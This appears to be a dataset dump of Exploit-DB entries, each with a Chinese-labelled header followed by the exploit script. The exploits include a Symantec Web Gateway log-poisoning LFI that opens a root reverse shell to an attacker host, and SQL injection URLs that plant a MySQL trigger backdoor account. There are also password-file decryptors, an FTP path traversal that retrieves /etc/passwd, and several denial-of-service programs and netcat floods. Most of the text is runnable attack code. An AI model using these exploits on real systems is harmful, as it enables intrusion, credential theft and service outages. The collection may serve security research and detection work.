QLWD/code_shield huggingface dataset:
标题: Symantec Web Gateway 5.0.3.18 - Local/Remote File Inclusion / Remote Command Execution EDB-ID: 20064 CVE: 2012-2957 类型: WEBAPPS 平台: LINUX 发布日期: 2012-07-24 漏洞利用脚本: #!/usr/bin/python

'''

The original patch for the Symantec Web Gateway 5.0.2 LFI vulnerability removed the
/tmp/networkScript file but left the entry in /etc/sudoers, allowing us to simply
recreate the file and obtain a root shell using a different LFI vulnerability.

Timeline:

# 06 Jun 2012: Vulnerability reported to CERT
# 08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure

'''

import socket
import sys
import base64

print "[*] #########################################################"
print "[*] Symantec Web Gateway 5.0.3.18 LFI Remote ROOT RCE Exploit"
print "[*] Offensive Security - http://www.offensive-security.com"
print "[*] #########################################################\n"

if (len(sys.argv) != 4):
 print "[*] Usage: symantec-web-gateway-0day.py <RHOST> <LHOST> <LPORT>"
 exit(0)

rhost = str(sys.argv[1])
lhost = sys.argv[2]
lport = sys.argv[3]

# Base64 encoded bash reverse shell
# Payload does sudo-fu abuse of sudoable /tmp/networkScript with apache:apache permissions

payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/'''+lhost+'/' + lport 
payload+=''' 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript'''
payloadencoded=base64.encodestring(payload).replace("\n","")

taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded
trigger="GET /spywall/languageTest.php?&language=../../../../../../../../usr/local/apache2/logs/access_log%00 HTTP/1.0\r\n\r\n"

print "[*] Super Sudo Backdoor injection, w00t"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((rhost, 80))
expl.send(taint)
expl.close()

print "[*] Triggering Payload ...3,2,1 "
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((rhost, 80))
expl.send(trigger)
expl.close()
print "[*] Can you haz shell on %s %s ?\n" % (lhost,lport) URL: https://www.exploit-db.com/exploits/20064
标题: Visible Systems Razor 4.1 - Password File (1) EDB-ID: 20056 CVE: 2000-0572 类型: LOCAL 平台: UNIX 发布日期: 2000-06-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1424/info

The Razor Configuration Management program stores passwords in an insecure manner.

A local attacker can obtain the Razor passwords, and either seize control of the software and relevant databases or use those passwords to access other users' accounts on the network. 

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>

/************************************************************

  dumprazorpasswd - 
    dumprazorpasswd
   - prompts for input hex string to decode
    dumprazorpasswd <razor_passwd_file>
   - prints the users and passwords in <file>
    dumprazorpasswd <passwd>
   - encrypts <passwd> and prints it in hex 

  16-jun-2000 pbw.

************************************************************/

#define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )

#define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
& 0x00ff) )
#define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )

struct pwent
  {
  char uname[17];
  char psswd[17];
  char gname[17];
  };

dumpfile (int fd)
{
int    status, k;
struct pwent pwent;

while ( (status = read (fd, &pwent, 51)) > 0 )
  {
  if (status != 51)
      {
      printf ("fd = %d\n", fd);
      printf ("partial read! only read %d bytes\n", status);
      exit(0);
      }
  k = 0;
  while (pwent.psswd[k] != '\0')
    {
    ROT8L(pwent.psswd[k], 10);
    k++;
    }
  printf ("user %-17s  %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
  }
}

main (int argc, char *argv[])

{
int  fd,i,k;
char   passwd[18];
char   dpasswd[9];

if (argc < 2)
    {
    printf("razor passwd to decrypt :");
    fgets(passwd, 17, stdin);
    passwd[strlen(passwd)-1] = 0;
    k=0;
    for (i=0 ; i<9 ; dpasswd[i++]=0);
    for (i=(strlen(passwd)-1) ; i>=0 ; i--)
      {
      if (k & 1)
          {
          dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
          }
        else
          {
          dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
          }
      k++;
      }
    for (i=0 ; i<strlen(dpasswd) ; i++)
      ROT8L(dpasswd[i], 2);
    printf("%s\n", dpasswd);
    exit(0);
    }
fd = open (argv[1], O_RDONLY);
if (fd < 0)
    {     /* assume arg is a passwd to encrypt
*/
    for ( i=0 ; i<strlen(argv[1]) ; i++)
      printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
    printf("\n");
    }
  else
    {     /* dump file */
    dumpfile(fd);
    }
exit(0);
} URL: https://www.exploit-db.com/exploits/20056
标题: Centrinity FirstClass 5.77 - Intranet Server Long Header Denial of Service EDB-ID: 20052 CVE: 2000-0570 类型: DOS 平台: MULTIPLE 发布日期: 2000-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/1421/info

If an E-mail containing an excessively long To: field in the header (~1.5 MB) is processed by First Class Intranet Services (FCIS), a Denial of Service can occur. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20052.tar.gz URL: https://www.exploit-db.com/exploits/20052
标题: Netscape Professional Services FTP Server (LDAP Aware) 1.3.6 - FTP Server EDB-ID: 20046 CVE: 2000-0577 类型: REMOTE 平台: UNIX 发布日期: 2000-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1411/info

Certain versions of the LDAP-aware Netscape Professional Services FTP Server (distributed with Enterprise Web Server) have a serious vulnerability which may lead to a remote or local root compromise. The vulnerability in essence is a failure of of the FTP server to enforce a restricted user environment (chroot). By failing to do this an FTP (anonymous or otherwise) user may download any file on the system (/etc/passwd etc.) as well as upload files at will at the privilege level of the FTP daemon.

Furthermore (quoted from the original attached message) this FTP server supports LDAP users; different LDAP accounts are served on single physical UID. This means, any user can access and eventually overwrite files on other accounts; as it's used in cooperation with webserver, typically virtual web servers are affected. 

$ ftp ftp.XXXX.xxx
Connected to ftp.XXXX.xxx.
220-FTP Server - Version 1.36 - (c) 1999 Netscape Professional Services
220 You will be logged off after 1200 seconds of inactivity.
Name (ftp.XXXX.xxx:lcamtuf): anonymous
331 Anonymous user OK, send e-mail address as password.
Password:
230 Logged in OK
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/n/o/n/anonymous/dupa" because No such
file or directory

[Well... this won't work... uh, lovely physical path, btw ;]

ftp> cd /../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/n/dupa" because No such file or
directory
ftp> cd /../../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/dupa" because
No such file or directory

[Erm? Good God!]

ftp> cd /../../../../../../../../etc/dupa
550 Can't change directory to "/etc/dupa" because No such file or
directory
ftp> cd /../../../../../../../../etc/
250 CWD command successful.
ftp> get /../../../../../../../../etc/passwd KUKU
local: KUKU remote: /../../../../../../../../etc/passwd
200 PORT successfull, connected to A.B.C.D port 62437
150-Type of object is "unknown/unknown". Transfer MODE is BINARY.
150 Opening data connection
226 File downloaded successfully (602 bytes, 602 bytes xmitted)
602 bytes received in 1.71 secs (0.34 Kbytes/sec)
ftp> quit
221-Goodbye. You uploaded 0 and downloaded 1 kbytes.
221 CPU time spent on you: 0.100 seconds.

$ cat KUKU
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
... URL: https://www.exploit-db.com/exploits/20046
标题: West Street Software LocalWEB HTTP Server 1.2 - Buffer Overflow EDB-ID: 20054 CVE: 2000-0571 类型: DOS 平台: WINDOWS 发布日期: 2000-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/1423/info

LocalWEB is a freeware HTTP server for the Windows suite of operating systems. Certain versions of this software are vulnerable to a remotely exploitable buffer overflow attack. This attack can instrumented by sending the web server (via port 80) a malformed URL. The net result is a denial of service, however a remotely exploitable buffer overflow leading to a system compromise has not been ruled out. 


# ./$0.pl -s <server>
#
# Malformed GET URL request DoS
#
use Getopt::Std;
use Socket;

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);

$foo = "A"; # this is the NOP
$number = "10000"; # this is the total number of NOP
$data .= $foo x $number; # result of $foo times $number
$serv = $args{s}; # remote server
$port = 80; # remote port, default is 80
$buf = "GET /$data HTTP/1.0\r\n\r\n"; # issue this response to the
server

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("Data has been successfully sent to $serv\n");

sub usage {die("\n\n$0 -s <server>\n\n");} URL: https://www.exploit-db.com/exploits/20054
标题: Microsoft Windows Server 2000 - Remote CPU-overload EDB-ID: 20048 CVE: 2000-0580 类型: REMOTE 平台: WINDOWS 发布日期: 2000-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1415/info

Sending a stream of binary zeros to any one of a number of Windows 2000 ports can cause 100% CPU utilization. The ports that were found vulnerable include TCP ports 7, 9, 21, 23, 7778 and UDP ports 53, 67, 68, 135, 137, 500, 1812, 1813, 2535, 3456. 

This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc target.host 7 < /dev/zero" for the TCP variant or "nc -u target.host 53 < /dev/zero" for the UDP variant. URL: https://www.exploit-db.com/exploits/20048
标题: Check Point Software Firewall-1 4.0/1.4.1 - Resource Exhaustion (Denial of Service) EDB-ID: 20049 CVE: 2000-0582 类型: DOS 平台: WINDOWS 发布日期: 2000-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1416/info

The Check Point Firewall-1 SMTP Security Server in Firewall-1 4.0 and 4.1 on Windows NT is vulnerable to a simple network-based attack which can increase the firewall's CPU utilization to 100%. Sending a stream of binary zeros (or other invalid SMTP commands) to the SMTP port on the firewall raises the target system's load to 100% while the load on the attacker's machine remains relatively low. According to Check Point Software this only disables mail relay while allowing other firewall operations to continue normally. 


This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc firewall 25 < /dev/zero". URL: https://www.exploit-db.com/exploits/20049
标题: Symantec Web Gateway 5.0.3.18 - Blind SQL Injection Backdoor via MySQL Triggers EDB-ID: 20044 CVE: 2012-2961 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-23 漏洞利用脚本: ######################################################################################
# Exploit Title: Symantec Web Gateway 5.0.3.18 Blind SQLi Backdoor via MySQL Triggers
# Date: Jul 23 2012
# Author: muts
# Version: Symantec Web Gateway 5.0.3.18
# Vendor URL: http://www.symantec.com
#
# Timeline:
#
# 12 Jun 2012: Vulnerability reported to CERT
# 22 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec issued patch: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure
#
######################################################################################


Accessing the following URLs will create a new trigger that will create a user account on the victim database:

https://server/spywall/ldap_latest.php?ip=1 union select 'TYPE=TRIGGERNAME' into outfile '/var/lib/mysql/spywall_db/ins_trig.TRN' LINES TERMINATED BY '\ntrigger_table=eventlog\n';--

https://server/spywall/ldap_latest.php?ip=1 union select 'TYPE=TRIGGERS' into outfile '/var/lib/mysql/spywall_db/eventlog.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`shadm`@`localhost` trigger ins_trig after insert on eventlog\\nfor each row\\nbegin\\nINSERT INTO users VALUES("muts","21232f297a57a5a743894a0e4a801fc3","NULL","4773","2","3","N/A","0","0","0","","hacker@offsec.com","1336255408","0","0","0");\\nend\'\nsql_modes=0\ndefiners=\'shadm@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';--

With the MySQL trigger in place, an authenticated user can initiate a reboot of the remote system by accessing the following URL. When a user logs back in to the application, the trigger will be activated and the new user will be added to the system.

https://server/spywall/scheduledReboot.php URL: https://www.exploit-db.com/exploits/20044
标题: Flowerfire Sawmill 5.0.21 - File Access EDB-ID: 20041 CVE: 2000-0588 类型: REMOTE 平台: CGI 发布日期: 2000-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/1402/info

Sawmill is a site statistics package for Unix, Windows and Mac OS. A specially crafted request can disclose the first line of any world readable file for which the full pathname is known, for example /etc/passwd. The output of the request is similar to the following: 'Unknown configuration command "root:x:0:0:root:/root:/bin/sh" in "/etc/passwd".' 

The following request will display the first line of /etc/passwd

http://target:port/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3

If sawmill is run as a cgi script, the following can be used instead:

http://target/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1 URL: https://www.exploit-db.com/exploits/20041
标题: Microsoft Windows Server 2000 - Telnet Server Denial of Service EDB-ID: 20047 CVE: 2000-0581 类型: DOS 平台: WINDOWS 发布日期: 2000-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1414/info

Microsoft Windows 2000 Server comes with a telnet server to provide remote console access. A remote attacker can send a stream of binary zeros to the server, causing it to fail. If automatic restart is enabled, numerous attacks will cause the telnet server to restart until the maximum failure/restart count is exceeded, at which point the service is disabled. 

An attacker can exploit this issue using netcat under Linux:

nc target.host 23 < /dev/zero URL: https://www.exploit-db.com/exploits/20047
标题: Flowerfire Sawmill 5.0.21 - Weak Password Encryption EDB-ID: 20042 CVE: 2000-0589 类型: LOCAL 平台: UNIX 发布日期: 2000-06-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1403/info

Sawmill is a site statistics package for Unix, Windows and Mac OS. Passwords are encrypted using a weak hash function. This combined with the file disclosure vulnerability in Sawmill (bid = 1402) could allow an attacker to read the contents of sawmill's password file, then decrypt the password and gain Sawmill administrative capabilities. 

/*Decrypt password for Sawmill admin account.

Larry W. Cashdollar
lwc@vapid.betteros.org
http://vapid.betteros.org
usage ./decrypt cyphertext

*/

#include <stdio.h>



char *alpha ="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+~<>?:\"{}|";
char *encode="=GeKMNQS~TfUVWXY[abcygimrs\"#$&-]FLq4.@wICH2!oEn}Z%(Ovt{z";

int
main (int argc, char **argv)
{

  int x, y;
  char cypher[128];

  strncpy (cypher, argv[1], 128);

  for (x = 0; x < strlen (cypher); x++)
    {

      for (y = 0; y < strlen (encode); y++)
        if (cypher[x] == encode[y])
          printf ("%c", alpha[y]);

    }

printf("\n\"+\" could also be a space [ ]\n");

} URL: https://www.exploit-db.com/exploits/20042
标题: Sybergen SyGate 2.0/3.11 - Denial of Service EDB-ID: 20051 CVE: 2000-0569 类型: DOS 平台: WINDOWS 发布日期: 2000-06-30 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1420/info

An exploit which causes a Denial of Service to Sybergen's Sygate when run from an internal machine has been released. The exploit sends a UDP packet to port 53 of the gateway. 

//Sygate Crash by: marc@eeye.com (April-00)
//http://www.eEye.com
//Will crash Sygate (http://www.sygate.com/) when ran from the internal LAN.
//Play with source routing to get it to work across the internet.
//Just hit the Internal IP of the Sygate machine.

#include <stdio.h>
#include <arpa/inet.h>

int main (int argc, char **argv)
{
        int SockFD, addrlen, bsent;
        struct sockaddr_in UDPSock;
        char bomb[]= "changeiscoming";

        printf("Sygate Crash by: marc@eeye.com\n");
        printf("http://www.eEye.com\n\n");

        if(argc<2){
                printf("Usage: %s [server]\n",argv[0]);
                exit(1);
        }

        SockFD=socket(AF_INET, SOCK_DGRAM, 0);

        UDPSock.sin_family=AF_INET;
        UDPSock.sin_addr.s_addr=inet_addr(argv[1]);
        UDPSock.sin_port=htons(53);

        bsent=sendto(SockFD,&bomb,13,0,(struct sockaddr *) &UDPSock,
sizeof(struct sockaddr_in));

        printf("Sent Crash.\nBytes Sent: %i\n",bsent);
} URL: https://www.exploit-db.com/exploits/20051
标题: LeafDigital LeafChat 1.7 - Denial of Service EDB-ID: 20039 CVE: 2000-0601 类型: DOS 平台: WINDOWS 发布日期: 2000-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1396/info

If invalid data is sent repeatedly from a IRC server to a LeafDigital LeafChat IRC client, the program will stop responding. Restarting the application will be required in order to regain normal functionality. 

/* The MDMA Crew's Proof-of-concept code for the DoS affecting LeafChat
 *
 * When the LeafChat IRC client recieves invalid data from the server, it
 * displays a dialog box with an error message. Should the server rapidly
 * send invalid messages, the system soon becomes dangerously low in
 * resources and commits harikiri. :-)
 *
 * Vendor Info: www.leafdigital.com/Software/leafChat
 * Crew Info: www.mdma.za.net || wizdumb@mdma.za.net
 */

import java.io.*;
import java.net.*;

class leafMeAlone {

// Line below will have to be changed for Microsoft's Java VM - oops ;P
static void main(String[] args) throws IOException, UnknownHostException {

    ServerSocket shervshoq = null;
    PrintWriter white = null;
    Socket shmoeshoq = null;

    shervshoq = new ServerSocket(6667);
    System.out.print("Now listening on Port 6667... ");

    try {
      shmoeshoq = shervshoq.accept();
      white = new PrintWriter(shmoeshoq.getOutputStream(), true);
    } catch (IOException e) {
      System.out.println("Errors accepting connection, y0");
      System.exit(1); }

    System.out.print("Connection recieved\nCrashing client... ");
    for (;;) {
      white.println(".");
      if (white.checkError()) {
      System.out.println("Crashed");
      break; } } } } URL: https://www.exploit-db.com/exploits/20039
标题: WU-FTPD 2.4.2/2.5 .0/2.6.0 - Remote Format String Stack Overwrite (3) EDB-ID: 20032 CVE: 2000-0573 类型: REMOTE 平台: LINUX_X86 发布日期: 2001-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/1387/info
  
Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.
  
It should be noted that the SITE INDEX command is affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20032.tar.gz URL: https://www.exploit-db.com/exploits/20032
标题: BEA Systems WebLogic Express 3.1.8/4/5 - Source Code Disclosure EDB-ID: 20027 CVE: 2000-0500 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1378/info

Within WebLogic Server and WebLogic Express there are four main java servlets registered to serve different kind of files. A default servlet exists if a requested file does not have an assigned servlet.

If an http request is made that includes "/file/", the server calls upon the default servlet which will cause the page to display the source code in the web browser. 

http://target/file/filename URL: https://www.exploit-db.com/exploits/20027
标题: Debian 2.1/2.2 / Mandrake 6.0/6.1/7.0 / RedHat 6.x - 'rpc.lockd' Remote Denial of Service EDB-ID: 20025 CVE: 2000-0508 类型: DOS 平台: LINUX 发布日期: 2000-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1372/info

A denial of service attack exists in the NFS lock daemon supplied with Linux. By connecting to the port rpc.lockd is running on, and supplying random input, it will cause lockd to exit with an error. The socket associated with rpc.lockd is also not properly released, and cannot be rebound to without a reboot.

This vulnerability most likely affects all Linux distributions running NFS. 

[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]# nc -p 1000 target 1024
alksdjfalskdjfsdafs
Here, I issued a Ctrl-C to get out of netcat, and got:
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]# URL: https://www.exploit-db.com/exploits/20025
标题: OpenLinux 2.3/2.4 / RedHat 6.0/6.1 / SCO eServer 2.3 - Denial of Service EDB-ID: 20026 CVE: 2000-0531 类型: DOS 平台: LINUX 发布日期: 1999-11-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1377/info

gpm is a program that allows Linux users to use the mouse in virtual consoles. It communicates with a device, /dev/gpmctl, via unix domain STREAM sockets and is vulnerable to a locally exploitable denial of service attack. If a malicious user makes too many connections to the device, it will hang and gpm will not function. RedHat 6.1 is confirmed to be vulnerable. It is not known what other linux distributions may also be vulnerable. 

// FuckGpm    CADENCE of Lam3rZ    1999.11.23

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define GDZIE    "/dev/gpmctl"
#define POLACZENIA 200
#define SHITY   10000


int main (void)
{
 int a,b;
 struct sockaddr_un sun;

 sun.sun_family = AF_UNIX;
 strncpy (sun.sun_path, GDZIE, 30);
 printf ("OK...\n");

 if (fork ())
  exit (0);

 for (b = 0; b < SHITY; b++)
  if (fork () == 0)
  break;

 for (b = 0; b < POLACZENIA; b++)
  {
   if ((a = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
    {
     perror ("socket");
     while (1);
   }

  if (connect (a, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0)
   {
    perror ("connect");
    close (a);
    b--;
   }
  }

 while (1);
} URL: https://www.exploit-db.com/exploits/20026